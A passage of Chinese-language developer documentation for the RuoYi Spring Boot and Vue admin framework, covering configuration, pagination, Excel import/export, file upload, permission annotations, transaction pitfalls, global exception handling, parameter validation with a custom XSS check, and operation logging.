statViewServlet:
enabled: true
# 設置白名單,不填則允許所有訪問
allow:
url-pattern: /druid/*
# 控制台管理用戶名和密碼
login-username:
login-password:
filter:
stat:
enabled: true
# 慢SQL記錄
log-slow-sql: true
slow-sql-millis: 1000
merge-sql: true
wall:
config:
multi-statement-allow: true
代碼生成配置 generator.yml
# 代碼生成
gen:
# 作者
author: ruoyi
# 默認生成包路徑 system 需改成自己的模塊名稱 如 system monitor tool
packageName: com.ruoyi.system
# 自動去除表前綴,默認是false
autoRemovePre: false
# 表前綴(生成類名不會包含表前綴,多個用逗號分隔)
tablePrefix: sys_
核心技術
TIP
- 前端技術棧 ES6、vue、vuex、vue-router、vue-cli、axios、element-ui
- 后端技術棧 SpringBoot、MyBatis、Spring Security、Jwt
后端技術
SpringBoot框架
1、介紹
Spring Boot
是一款開箱即用框架,提供各種默認配置來簡化項目配置。讓我們的Spring
應用變的更輕量化、更快的入門。 在主程序執行main
函數就可以運行。你也可以打包你的應用為jar
並通過使用java -jar
來運行你的Web應用。它遵循"約定優先於配置"的原則, 使用SpringBoot
只需很少的配置,大部分的時候直接使用默認的配置即可。同時可以與Spring Cloud
的微服務無縫結合。
提示
Spring Boot2.x
版本環境要求必須是jdk8
或以上版本,服務器Tomcat8
或以上版本
2、優點
- 使編碼變得簡單: 推薦使用注解。
- 使配置變得簡單: 自動配置、快速集成新技術能力 沒有冗余代碼生成和XML配置的要求
- 使部署變得簡單: 內嵌Tomcat、Jetty、Undertow等web容器,無需以war包形式部署
- 使監控變得簡單: 提供運行時的應用監控
- 使集成變得簡單: 對主流開發框架的無配置集成。
- 使開發變得簡單: 極大地提高了開發快速構建項目、部署效率。
Spring Security安全控制
1、介紹
Spring Security
是一個能夠為基於Spring
的企業應用系統提供聲明式的安全訪問控制解決方案的安全框架。
2、功能
Authentication
認證,就是用戶登錄
Authorization
授權,判斷用戶擁有什么權限,可以訪問什么資源
安全防護,跨站腳本攻擊,session
攻擊等
非常容易結合Spring
進行使用
3、Spring Security
與Shiro
的區別
相同點
1、認證功能
2、授權功能
3、加密功能
4、會話管理
5、緩存支持
6、rememberMe功能
....
不同點
優點:
1、Spring Security基於Spring開發,項目如果使用Spring作為基礎,配合Spring Security做權限更加方便。而Shiro需要和Spring進行整合開發
2、Spring Security功能比Shiro更加豐富,例如安全防護方面
3、Spring Security社區資源相對比Shiro更加豐富
缺點:
1)Shiro的配置和使用比較簡單,Spring Security上手復雜些
2)Shiro依賴性低,不需要依賴任何框架和容器,可以獨立運行。Spring Security依賴Spring容器
前端技術
- npm:node.js的包管理工具,用於統一管理我們前端項目中需要用到的包、插件、工具、命令等,便於開發和維護。
- ES6:Javascript的新版本,ECMAScript6的簡稱。利用ES6我們可以簡化我們的JS代碼,同時利用其提供的強大功能來快速實現JS邏輯。
- vue-cli:Vue的腳手架工具,用於自動生成Vue項目的目錄及文件。
- vue-router: Vue提供的前端路由工具,利用其我們實現頁面的路由控制,局部刷新及按需加載,構建單頁應用,實現前后端分離。
- vuex:Vue提供的狀態管理工具,用於統一管理我們項目中各種數據的交互和重用,存儲我們需要用到數據對象。
- element-ui:基於MVVM框架Vue開源出來的一套前端ui組件。
六、后台手冊
.1、分頁實現
- 前端基於
element
封裝的分頁組件 pagination(opens new window) - 后端基於
mybatis
的輕量級分頁插件pageHelper(opens new window)
.2、前端調用實現
1、前端定義分頁流程
// 一般在查詢參數中定義分頁變量
queryParams: {
pageNum: 1,
pageSize: 10
},
// 頁面添加分頁組件,傳入分頁變量
<pagination
v-show="total>0"
:total="total"
:page.sync="queryParams.pageNum"
:limit.sync="queryParams.pageSize"
@pagination="getList"
/>
// 調用后台方法,傳入參數 獲取結果
listUser(this.queryParams).then(response => {
this.userList = response.rows;
this.total = response.total;
}
);
.3、后台邏輯實現
@PostMapping("/list")
@ResponseBody
public TableDataInfo list(User user)
{
startPage(); // 此方法配合前端完成自動分頁
List<User> list = userService.selectUserList(user);
return getDataTable(list);
}
- 常見坑點1:
selectPostById
莫名其妙的分頁。例如下面這段代碼
startPage();
List<User> list;
if(user != null){
list = userService.selectUserList(user);
} else {
list = new ArrayList<User>();
}
Post post = postService.selectPostById(1L);
return getDataTable(list);
原因分析:這種情況下由於user
存在null
的情況,就會導致pageHelper
生產了一個分頁參數,但是沒有被消費,這個參數就會一直保留在這個線程上。 當這個線程再次被使用時,就可能導致不該分頁的方法去消費這個分頁參數,這就產生了莫名其妙的分頁。
上面這個代碼,應該寫成下面這個樣子才能保證安全。
List<User> list;
if(user != null){
startPage();
list = userService.selectUserList(user);
} else {
list = new ArrayList<User>();
}
Post post = postService.selectPostById(1L);
return getDataTable(list);
- 常見坑點2:添加了
startPage
方法。也沒有正常分頁。例如下面這段代碼
startPage();
Post post = postService.selectPostById(1L);
List<User> list = userService.selectUserList(user);
return getDataTable(list);
原因分析:只對該語句以后的第一個查詢(Select)
語句得到的數據進行分頁。
上面這個代碼,應該寫成下面這個樣子才能正常分頁。
Post post = postService.selectPostById(1L);
startPage();
List<User> list = userService.selectUserList(user);
return getDataTable(list);
注意
如果改為其他數據庫需修改配置`application.yml`文件中的屬性`helperDialect=你的數據庫`
七、導入導出
在實際開發中經常需要使用導入導出功能來加快數據的操作。在項目中可以使用注解來完成此項功能。 在需要被導入導出的實體類屬性添加@Excel
注解,目前支持參數如下:
.1、注解參數說明
參數 | 類型 | 默認值 | 描述 |
---|---|---|---|
sort | int | Integer.MAX_VALUE | 導出時在excel中排序,值越小越靠前 |
name | String | 空 | 導出到Excel中的名字 |
dateFormat | String | 空 | 日期格式, 如: yyyy-MM-dd |
dictType | String | 空 | 如果是字典類型,請設置字典的type值 (如: sys_user_sex) |
readConverterExp | String | 空 | 讀取內容轉表達式 (如: 0=男,1=女,2=未知) |
separator | String | , | 分隔符,讀取字符串組內容 |
scale | int | -1 | BigDecimal 精度 默認:-1(默認不開啟BigDecimal格式化) |
roundingMode | int | BigDecimal.ROUND_HALF_EVEN | BigDecimal 舍入規則 默認:BigDecimal.ROUND_HALF_EVEN |
columnType | Enum | Type.STRING | 導出類型(0數字 1字符串 2圖片) |
height | String | 14 | 導出時在excel中每個列的高度 單位為字符 |
width | String | 16 | 導出時在excel中每個列的寬 單位為字符 |
suffix | String | 空 | 文字后綴,如% 90 變成90% |
defaultValue | String | 空 | 當值為空時,字段的默認值 |
prompt | String | 空 | 提示信息 |
combo | String | Null | 設置只能選擇不能輸入的列內容 |
targetAttr | String | 空 | 另一個類中的屬性名稱,支持多級獲取,以小數點隔開 |
isStatistics | boolean | false | 是否自動統計數據,在最后追加一行統計數據總和 |
type | Enum | Type.ALL | 字段類型(0:導出導入;1:僅導出;2:僅導入) |
align | Enum | Type.AUTO | 導出字段對齊方式(0:默認;1:靠左;2:居中;3:靠右) |
handler | Class | ExcelHandlerAdapter.class | 自定義數據處理器 |
args | String[] | {} | 自定義數據處理器參數 |
.2、導出實現流程
1、前端調用方法(參考如下)
// 查詢參數 queryParams
queryParams: {
pageNum: 1,
pageSize: 10,
userName: undefined
},
// 導出接口exportUser
import { exportUser } from "@/api/system/user";
/** 導出按鈕操作 */
handleExport() {
const queryParams = this.queryParams;
this.$confirm('是否確認導出所有用戶數據項?', "警告", {
confirmButtonText: "確定",
cancelButtonText: "取消",
type: "warning"
}).then(function() {
return exportUser(queryParams);
}).then(response => {
this.download(response.msg);
}).catch(function() {});
}
2、添加導出按鈕事件
<el-button
type="warning"
icon="el-icon-download"
size="mini"
@click="handleExport"
>導出</el-button>
3、在實體變量上添加@Excel注解
@Excel(name = "用戶序號", prompt = "用戶編號")
private Long userId;
@Excel(name = "用戶名稱")
private String userName;
@Excel(name = "用戶性別", readConverterExp = "0=男,1=女,2=未知")
private String sex;
@Excel(name = "用戶頭像", cellType = ColumnType.IMAGE)
private String avatar;
@Excel(name = "帳號狀態", dictType = "sys_normal_disable")
private String status;
@Excel(name = "最后登陸時間", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss")
private Date loginDate;
4、在Controller添加導出方法
@Log(title = "用戶管理", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('system:user:export')")
@GetMapping("/export")
public AjaxResult export(SysUser user)
{
List<SysUser> list = userService.selectUserList(user);
ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
return util.exportExcel(list, "用戶數據");
}
.3、導入實現流程
1、前端調用方法(參考如下)
import { getToken } from "@/utils/auth";
// 用戶導入參數
upload: {
// 是否顯示彈出層(用戶導入)
open: false,
// 彈出層標題(用戶導入)
title: "",
// 是否禁用上傳
isUploading: false,
// 是否更新已經存在的用戶數據
updateSupport: 0,
// 設置上傳的請求頭部
headers: { Authorization: "Bearer " + getToken() },
// 上傳的地址
url: process.env.VUE_APP_BASE_API + "/system/user/importData"
},
// 導入模板接口importTemplate
import { importTemplate } from "@/api/system/user";
/** 導入按鈕操作 */
handleImport() {
this.upload.title = "用戶導入";
this.upload.open = true;
},
/** 下載模板操作 */
importTemplate() {
importTemplate().then(response => {
this.download(response.msg);
});
},
// 文件上傳中處理
handleFileUploadProgress(event, file, fileList) {
this.upload.isUploading = true;
},
// 文件上傳成功處理
handleFileSuccess(response, file, fileList) {
this.upload.open = false;
this.upload.isUploading = false;
this.$refs.upload.clearFiles();
this.$alert(response.msg, "導入結果", { dangerouslyUseHTMLString: true });
this.getList();
},
// 提交上傳文件
submitFileForm() {
this.$refs.upload.submit();
}
2、添加導入按鈕事件
<el-button
type="info"
icon="el-icon-upload2"
size="mini"
@click="handleImport"
>導入</el-button>
3、添加導入前端代碼
<!-- 用戶導入對話框 -->
<el-dialog :title="upload.title" :visible.sync="upload.open" width="400px">
<el-upload
ref="upload"
:limit="1"
accept=".xlsx, .xls"
:headers="upload.headers"
:action="upload.url + '?updateSupport=' + upload.updateSupport"
:disabled="upload.isUploading"
:on-progress="handleFileUploadProgress"
:on-success="handleFileSuccess"
:auto-upload="false"
drag
>
<i class="el-icon-upload"></i>
<div class="el-upload__text">
將文件拖到此處,或
<em>點擊上傳</em>
</div>
<div class="el-upload__tip" slot="tip">
<el-checkbox v-model="upload.updateSupport" />是否更新已經存在的用戶數據
<el-link type="info" style="font-size:12px" @click="importTemplate">下載模板</el-link>
</div>
<div class="el-upload__tip" style="color:red" slot="tip">提示:僅允許導入“xls”或“xlsx”格式文件!</div>
</el-upload>
<div slot="footer" class="dialog-footer">
<el-button type="primary" @click="submitFileForm">確 定</el-button>
<el-button @click="upload.open = false">取 消</el-button>
</div>
</el-dialog>
4、在實體變量上添加@Excel注解,默認為導出導入,也可以單獨設置僅導入Type.IMPORT
@Excel(name = "用戶序號")
private Long id;
@Excel(name = "部門編號", type = Type.IMPORT)
private Long deptId;
@Excel(name = "用戶名稱")
private String userName;
/** 導出部門多個對象 */
@Excels({
@Excel(name = "部門名稱", targetAttr = "deptName", type = Type.EXPORT),
@Excel(name = "部門負責人", targetAttr = "leader", type = Type.EXPORT)
})
private SysDept dept;
/** 導出部門單個對象 */
@Excel(name = "部門名稱", targetAttr = "deptName", type = Type.EXPORT)
private SysDept dept;
5、在Controller添加導入方法,updateSupport屬性為是否存在則覆蓋(可選)
@Log(title = "用戶管理", businessType = BusinessType.IMPORT)
@PostMapping("/importData")
public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception
{
ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
List<SysUser> userList = util.importExcel(file.getInputStream());
LoginUser loginUser = tokenService.getLoginUser(ServletUtils.getRequest());
String operName = loginUser.getUsername();
String message = userService.importUser(userList, updateSupport, operName);
return AjaxResult.success(message);
}
@GetMapping("/importTemplate")
public AjaxResult importTemplate()
{
ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
return util.importTemplateExcel("用戶數據");
}
小提示:
也可以直接到main運行此方法測試。
InputStream is = new FileInputStream(new File("D:\\test.xlsx"));
ExcelUtil<Entity> util = new ExcelUtil<Entity>(Entity.class);
List<Entity> userList = util.importExcel(is);
.4、自定義標題信息
有時候我們希望導出表格包含標題信息,我們可以這樣做。
導出用戶管理表格新增標題(用戶列表)
public AjaxResult export(SysUser user)
{
List<SysUser> list = userService.selectUserList(user);
ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
return util.exportExcel(list, "用戶數據", "用戶列表");
}
導入表格包含標題處理方式,其中1
表示標題占用行數,根據實際情況填寫。
public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception
{
ExcelUtil<SysUser> util = new ExcelUtil<SysUser>(SysUser.class);
List<SysUser> userList = util.importExcel(file.getInputStream(), 1);
String operName = SecurityUtils.getUsername();
String message = userService.importUser(userList, updateSupport, operName);
return AjaxResult.success(message);
}
.5、自定義數據處理器
有時候我們希望數據展現為一個特殊的格式,或者需要對數據進行其它處理。Excel
注解提供了自定義數據處理器以滿足各種業務場景。而實現一個數據處理器也是非常簡單的。如下:
1、在實體類用Excel
注解handler
屬性指定自定義的數據處理器
public class User extends BaseEntity
{
@Excel(name = "用戶名稱", handler = MyDataHandler.class, args = { "aaa", "bbb" })
private String userName;
}
2、編寫數據處理器MyDataHandler
繼承ExcelHandlerAdapter
,返回值為處理后的值。
public class MyDataHandler implements ExcelHandlerAdapter
{
@Override
public Object format(Object value, String[] args)
{
// value 為單元格數據值
// args 為excel注解args參數組
return value;
}
}
八、上傳下載
首先創建一張上傳文件的表,例如:
drop table if exists sys_file_info;
create table sys_file_info (
file_id int(11) not null auto_increment comment '文件id',
file_name varchar(50) default '' comment '文件名稱',
file_path varchar(255) default '' comment '文件路徑',
primary key (file_id)
) engine=innodb auto_increment=1 default charset=utf8 comment = '文件信息表';
.1、上傳實現流程
1、el-input
修改成el-upload
<el-upload
ref="upload"
:limit="1"
accept=".jpg, .png"
:action="upload.url"
:headers="upload.headers"
:file-list="upload.fileList"
:on-progress="handleFileUploadProgress"
:on-success="handleFileSuccess"
:auto-upload="false">
<el-button slot="trigger" size="small" type="primary">選取文件</el-button>
<el-button style="margin-left: 10px;" size="small" type="success" :loading="upload.isUploading" @click="submitUpload">上傳到服務器</el-button>
<div slot="tip" class="el-upload__tip">只能上傳jpg/png文件,且不超過500kb</div>
</el-upload>
2、引入獲取token
import { getToken } from "@/utils/auth";
3、data
中添加屬性
// 上傳參數
upload: {
// 是否禁用上傳
isUploading: false,
// 設置上傳的請求頭部
headers: { Authorization: "Bearer " + getToken() },
// 上傳的地址
url: process.env.VUE_APP_BASE_API + "/common/upload",
// 上傳的文件列表
fileList: []
},
4、新增和修改操作對應處理fileList
參數
handleAdd() {
...
this.upload.fileList = [];
}
handleUpdate(row) {
...
this.upload.fileList = [{ name: this.form.fileName, url: this.form.filePath }];
}
5、添加對應事件
// 文件提交處理
submitUpload() {
this.$refs.upload.submit();
},
// 文件上傳中處理
handleFileUploadProgress(event, file, fileList) {
this.upload.isUploading = true;
},
// 文件上傳成功處理
handleFileSuccess(response, file, fileList) {
this.upload.isUploading = false;
this.form.filePath = response.url;
this.msgSuccess(response.msg);
}
.2、下載實現流程
1、添加對應按鈕和事件
<el-button
size="mini"
type="text"
icon="el-icon-edit"
@click="handleDownload(scope.row)"
>下載</el-button>
2、實現文件下載
// 文件下載處理
handleDownload(row) {
var name = row.fileName;
var url = row.filePath;
var suffix = url.substring(url.lastIndexOf("."), url.length);
const a = document.createElement('a')
a.setAttribute('download', name + suffix)
a.setAttribute('target', '_blank')
a.setAttribute('href', url)
a.click()
}
九、權限注解
- 數據權限示例。
// 符合system:user:list權限要求
@PreAuthorize("@ss.hasPermi('system:user:list')")
// 不符合system:user:list權限要求
@PreAuthorize("@ss.lacksPermi('system:user:list')")
// 符合system:user:add或system:user:edit權限要求即可
@PreAuthorize("@ss.hasAnyPermi('system:user:add,system:user:edit')")
- 角色權限示例。
// 屬於user角色
@PreAuthorize("@ss.hasRole('user')")
// 不屬於user角色
@PreAuthorize("@ss.lacksRole('user')")
// 屬於user或者admin之一
@PreAuthorize("@ss.hasAnyRoles('user,admin')")
十、事務管理
新建的Spring Boot
項目中,一般都會引用spring-boot-starter
或者spring-boot-starter-web
,而這兩個起步依賴中都已經包含了對於spring-boot-starter-jdbc
或spring-boot-starter-data-jpa
的依賴。 當我們使用了這兩個依賴的時候,框架會自動默認分別注入DataSourceTransactionManager
或JpaTransactionManager
。 所以我們不需要任何額外配置就可以用@Transactional
注解進行事務的使用。
提示
@Transactional注解只能應用到public可見度的方法上,可以被應用於接口定義和接口方法,方法會覆蓋類上面聲明的事務。
例如用戶新增需要插入用戶表、用戶與崗位關聯表、用戶與角色關聯表,如果插入成功,那么一起成功,如果中間有一條出現異常,那么回滾之前的所有操作, 這樣可以防止出現臟數據,就可以使用事務讓它實現回退。
做法非常簡單,我們只需要在方法或類添加@Transactional
注解即可。
@Transactional
public int insertUser(User user)
{
// 新增用戶信息
int rows = userMapper.insertUser(user);
// 新增用戶崗位關聯
insertUserPost(user);
// 新增用戶與角色管理
insertUserRole(user);
return rows;
}
- 常見坑點1:遇到檢查異常時,事務開啟,也無法回滾。 例如下面這段代碼,用戶依舊增加成功,並沒有因為后面遇到檢查異常而回滾!!
@Transactional
public int insertUser(User user) throws Exception
{
// 新增用戶信息
int rows = userMapper.insertUser(user);
// 新增用戶崗位關聯
insertUserPost(user);
// 新增用戶與角色管理
insertUserRole(user);
// 模擬拋出SQLException異常
boolean flag = true;
if (flag)
{
throw new SQLException("發生異常了..");
}
return rows;
}
原因分析:因為Spring
的默認的事務規則是遇到運行異常(RuntimeException)
和程序錯誤(Error)
才會回滾。如果想針對檢查異常進行事務回滾,可以在@Transactional
注解里使用 rollbackFor
屬性明確指定異常。
例如下面這樣,就可以正常回滾:
@Transactional(rollbackFor = Exception.class)
public int insertUser(User user) throws Exception
{
// 新增用戶信息
int rows = userMapper.insertUser(user);
// 新增用戶崗位關聯
insertUserPost(user);
// 新增用戶與角色管理
insertUserRole(user);
// 模擬拋出SQLException異常
boolean flag = true;
if (flag)
{
throw new SQLException("發生異常了..");
}
return rows;
}
- 常見坑點2: 在業務層捕捉異常后,發現事務不生效。 這是許多新手都會犯的一個錯誤,在業務層手工捕捉並處理了異常,你都把異常“吃”掉了,
Spring
自然不知道這里有錯,更不會主動去回滾數據。
例如:下面這段代碼直接導致用戶新增的事務回滾沒有生效。
@Transactional
public int insertUser(User user) throws Exception
{
// 新增用戶信息
int rows = userMapper.insertUser(user);
// 新增用戶崗位關聯
insertUserPost(user);
// 新增用戶與角色管理
insertUserRole(user);
// 模擬拋出SQLException異常
boolean flag = true;
if (flag)
{
try
{
// 謹慎:盡量不要在業務層捕捉異常並處理
throw new SQLException("發生異常了..");
}
catch (Exception e)
{
e.printStackTrace();
}
}
return rows;
}
推薦做法:在業務層統一拋出異常,然后在控制層統一處理。
@Transactional
public int insertUser(User user) throws Exception
{
// 新增用戶信息
int rows = userMapper.insertUser(user);
// 新增用戶崗位關聯
insertUserPost(user);
// 新增用戶與角色管理
insertUserRole(user);
// 模擬拋出SQLException異常
boolean flag = true;
if (flag)
{
throw new RuntimeException("發生異常了..");
}
return rows;
}
Transactional
注解的常用屬性表:
屬性 | 說明 |
---|---|
propagation | 事務的傳播行為,默認值為 REQUIRED。 |
isolation | 事務的隔離度,默認值采用 DEFAULT |
timeout | 事務的超時時間,默認值為-1,不超時。如果設置了超時時間(單位秒),那么如果超過該時間限制了但事務還沒有完成,則自動回滾事務。 |
read-only | 指定事務是否為只讀事務,默認值為 false;為了忽略那些不需要事務的方法,比如讀取數據,可以設置 read-only 為 true。 |
rollbackFor | 用於指定能夠觸發事務回滾的異常類型,如果有多個異常類型需要指定,各類型之間可以通過逗號分隔。 |
noRollbackFor | 拋出 no-rollback-for 指定的異常類型,不回滾事務。 |
.... |
提示
事務的傳播機制是指如果在開始當前事務之前,一個事務上下文已經存在,此時有若干選項可以指定一個事務性方法的執行行為。 即:在執行一個@Transactinal注解標注的方法時,開啟了事務;當該方法還在執行中時,另一個人也觸發了該方法;那么此時怎么算事務呢,這時就可以通過事務的傳播機制來指定處理方式。
TransactionDefinition
傳播行為的常量:
常量 | 含義 |
---|---|
TransactionDefinition.PROPAGATION_REQUIRED | 如果當前存在事務,則加入該事務;如果當前沒有事務,則創建一個新的事務。這是默認值。 |
TransactionDefinition.PROPAGATION_REQUIRES_NEW | 創建一個新的事務,如果當前存在事務,則把當前事務掛起。 |
TransactionDefinition.PROPAGATION_SUPPORTS | 如果當前存在事務,則加入該事務;如果當前沒有事務,則以非事務的方式繼續運行。 |
TransactionDefinition.PROPAGATION_NOT_SUPPORTED | 以非事務方式運行,如果當前存在事務,則把當前事務掛起。 |
TransactionDefinition.PROPAGATION_NEVER | 以非事務方式運行,如果當前存在事務,則拋出異常。 |
TransactionDefinition.PROPAGATION_MANDATORY | 如果當前存在事務,則加入該事務;如果當前沒有事務,則拋出異常。 |
TransactionDefinition.PROPAGATION_NESTED | 如果當前存在事務,則創建一個事務作為當前事務的嵌套事務來運行;如果當前沒有事務,則該取值等價於TransactionDefinition.PROPAGATION_REQUIRED。 |
十一、異常處理
通常一個web
框架中,有大量需要處理的異常。比如業務異常,權限不足等等。前端通過彈出提示信息的方式告訴用戶出了什么錯誤。 通常情況下我們用try.....catch....
對異常進行捕捉處理,但是在實際項目中對業務模塊進行異常捕捉,會造成代碼重復和繁雜, 我們希望代碼中只有業務相關的操作,所有的異常我們單獨設立一個類來處理它。全局異常就是對框架所有異常進行統一管理。 我們在可能發生異常的方法里throw
拋給控制器。然后由全局異常處理器對異常進行統一處理。 如此,我們的Controller
中的方法就可以很簡潔了。
所謂全局異常處理器就是使用@ControllerAdvice
注解。示例如下:
1、統一返回實體定義
package com.ruoyi.common.core.domain;
import java.util.HashMap;
/**
* 操作消息提醒
*
* @author ruoyi
*/
public class AjaxResult extends HashMap<String, Object>
{
private static final long serialVersionUID = 1L;
/**
* 返回錯誤消息
*
* @param code 錯誤碼
* @param msg 內容
* @return 錯誤消息
*/
public static AjaxResult error(String msg)
{
AjaxResult json = new AjaxResult();
json.put("msg", msg);
json.put("code", 500);
return json;
}
/**
* 返回成功消息
*
* @param msg 內容
* @return 成功消息
*/
public static AjaxResult success(String msg)
{
AjaxResult json = new AjaxResult();
json.put("msg", msg);
json.put("code", 0);
return json;
}
}
2、定義登錄異常定義
package com.ruoyi.common.exception;
/**
* 登錄異常
*
* @author ruoyi
*/
public class LoginException extends RuntimeException
{
private static final long serialVersionUID = 1L;
protected final String message;
public LoginException(String message)
{
this.message = message;
}
@Override
public String getMessage()
{
return message;
}
}
3、基於@ControllerAdvice
注解的Controller
層的全局異常統一處理
package com.ruoyi.framework.web.exception;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.exception.LoginException;
/**
* 全局異常處理器
*
* @author ruoyi
*/
@RestControllerAdvice
public class GlobalExceptionHandler
{
private static final Logger log = LoggerFactory.getLogger(GlobalExceptionHandler.class);
/**
* 登錄異常
*/
@ExceptionHandler(LoginException.class)
public AjaxResult loginException(LoginException e)
{
log.error(e.getMessage(), e);
return AjaxResult.error(e.getMessage());
}
}
4、測試訪問請求
@Controller
public class SysIndexController
{
/**
* 首頁方法
*/
@GetMapping("/index")
public String index(ModelMap mmap)
{
/**
* 模擬用戶未登錄,拋出業務邏輯異常
*/
SysUser user = ShiroUtils.getSysUser();
if (StringUtils.isNull(user))
{
throw new LoginException("用戶未登錄,無法訪問請求。");
}
mmap.put("user", user);
return "index";
}
}
根據上面代碼含義,當我們未登錄訪問/index
時就會發生LoginException
業務邏輯異常,按照我們之前的全局異常配置以及統一返回實體實例化,訪問后會出現AjaxResult
格式JSON
數據, 下面我們運行項目訪問查看效果。
界面輸出內容如下所示:
{
"msg": "用戶未登錄,無法訪問請求。",
"code": 500
}
對於一些特殊情況,如接口需要返回json
,頁面請求返回html
可以使用如下方法:
@ExceptionHandler(LoginException.class)
public Object loginException(HttpServletRequest request, LoginException e)
{
log.error(e.getMessage(), e);
if (ServletUtils.isAjaxRequest(request))
{
return AjaxResult.error(e.getMessage());
}
else
{
return new ModelAndView("/error/500");
}
}
若依系統的全局異常處理器GlobalExceptionHandler
注意:如果全部異常處理返回json
,那么可以使用@RestControllerAdvice
代替@ControllerAdvice
,這樣在方法上就可以不需要添加@ResponseBody
。
無法捕獲異常?
如果您的異常無法捕獲,您可以從以下幾個方面着手檢查
異常是否已被處理,即拋出異常后被catch,打印了日志或拋出了其它異常 異常是否非Controller拋出,即在攔截器或過濾器中出現的異常
十二、參數驗證
spring boot
中可以用@Validated
來校驗數據,如果數據異常則會統一拋出異常,方便異常中心統一處理。
1、注解參數說明
注解名稱 | 功能 |
---|---|
@Xss | 檢查該字段是否存在跨站腳本工具 |
@Null | 檢查該字段為空 |
@NotNull | 不能為null |
@NotBlank | 不能為空,常用於檢查空字符串 |
@NotEmpty | 不能為空,多用於檢測list是否size是0 |
@Max | 該字段的值只能小於或等於該值 |
@Min | 該字段的值只能大於或等於該值 |
@Past | 檢查該字段的日期是在過去 |
@Future | 檢查該字段的日期是否是屬於將來的日期 |
檢查是否是一個有效的email地址 | |
@Pattern(regex=,flag=) | 被注釋的元素必須符合指定的正則表達式 |
@Range(min=,max=,message=) | 被注釋的元素必須在合適的范圍內 |
@Size(min=, max=) | 檢查該字段的size是否在min和max之間,可以是字符串、數組、集合、Map等 |
@Length(min=,max=) | 檢查所屬的字段的長度是否在min和max之間,只能用於字符串 |
@AssertTrue | 用於boolean字段,該字段只能為true |
@AssertFalse | 該字段的值只能為false |
2、數據校驗使用
1、基礎使用 因為spring boot
已經引入了基礎包,所以直接使用就可以了。首先在controller
上聲明@Validated
需要對數據進行校驗。
public AjaxResult add(@Validated @RequestBody SysUser user)
{
.....
}
2、然后在對應字段Get方法
加上參數校驗注解,如果不符合驗證要求,則會以message
的信息為准,返回給前端。
@Size(min = 0, max = 30, message = "用戶昵稱長度不能超過30個字符")
public String getNickName()
{
return nickName;
}
@NotBlank(message = "用戶賬號不能為空")
@Size(min = 0, max = 30, message = "用戶賬號長度不能超過30個字符")
public String getUserName()
{
return userName;
}
@Email(message = "郵箱格式不正確")
@Size(min = 0, max = 50, message = "郵箱長度不能超過50個字符")
public String getEmail()
{
return email;
}
@Size(min = 0, max = 11, message = "手機號碼長度不能超過11個字符")
public String getPhonenumber()
{
return phonenumber;
}
也可以直接放在字段上面聲明。
@Size(min = 0, max = 30, message = "用戶昵稱長度不能超過30個字符")
private String nickName;
3、自定義注解校驗
使用原生的@Validated
進行參數校驗時,都是特定的注解去校驗(例如字段長度、大小、不為空等),我們也可以用自定義的注解去進行校驗,例如項目中的@Xss
注解。
1、新增Xss
注解,設置自定義校驗器XssValidator.class
/**
* 自定義xss校驗注解
*
* @author ruoyi
*/
@Retention(RetentionPolicy.RUNTIME)
@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Constraint(validatedBy = { XssValidator.class })
public @interface Xss
{
String message()
default "不允許任何腳本運行";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
2、自定義Xss
校驗器,實現ConstraintValidator
接口。
/**
* 自定義xss校驗注解實現
*
* @author ruoyi
*/
public class XssValidator implements ConstraintValidator<Xss, String>
{
private final String HTML_PATTERN = "<(\\S*?)[^>]*>.*?|<.*? />";
@Override
public boolean isValid(String value, ConstraintValidatorContext constraintValidatorContext)
{
return !containsHtml(value);
}
public boolean containsHtml(String value)
{
Pattern pattern = Pattern.compile(HTML_PATTERN);
Matcher matcher = pattern.matcher(value);
return matcher.matches();
}
}
3、實體類使用自定義的@Xss
注解
@Xss(message = "登錄賬號不能包含腳本字符")
@NotBlank(message = "登錄賬號不能為空")
@Size(min = 0, max = 30, message = "登錄賬號長度不能超過30個字符")
public String getLoginName()
{
return loginName;
}
此時在去保存會進行驗證,如果不符合規則的字符(例如<script>alert(1);</script>
)會提示登錄賬號不能包含腳本字符
,代表限制成功。
如果是在方法里面校驗整個實體,參考示例。
@Autowired
protected Validator validator;
public void importUser(SysUser user)
{
BeanValidators.validateWithException(validator, user);
}
4、自定義分組校驗
有時候我們為了在使用實體類的情況下更好的區分出新增、修改和其他操作驗證的不同,可以通過groups
屬性設置。使用方式如下
新增類接口,用於標識出不同的操作類型
public interface Add
{
}
public interface Edit
{
}
Controller.java
// 新增
public AjaxResult addSave(@Validated(Add.class) @RequestBody Xxxx xxxx)
{
return success(xxxx);
}
// 編輯
public AjaxResult editSave(@Validated(Edit.class) @RequestBody Xxxx xxxx)
{
return success(xxxx);
}
Model.java
// 僅在新增時驗證
@NotNull(message = "不能為空", groups = {Add.class})
private String xxxx;
// 在新增和修改時驗證
@NotBlank(message = "不能為空", groups = {Add.class, Edit.class})
private String xxxx;
提示
如果你有更多操作類型,也可以自定義類統一管理,使用方式就變成了Type.Add
、Type.Edit
、Type.Xxxx
等。
package com.eva.core.constants;
/**
* 操作類型
*/
public interface Type
{
interface Add {}
interface Edit {}
interface Xxxx {}
}
十三、系統日志
在實際開發中,對於某些關鍵業務,我們通常需要記錄該操作的內容,一個操作調一次記錄方法,每次還得去收集參數等等,會造成大量代碼重復。 我們希望代碼中只有業務相關的操作,在項目中使用注解來完成此項功能。
在需要被記錄日志的controller
方法上添加@Log
注解,使用方法如下:
@Log(title = "用戶管理", businessType = BusinessType.INSERT)
public AjaxResult addSave(...)
{
return success(...);
}
1、注解參數說明
參數 | 類型 | 默認值 | 描述 |
---|---|---|---|
title | String | 空 | 操作模塊 |
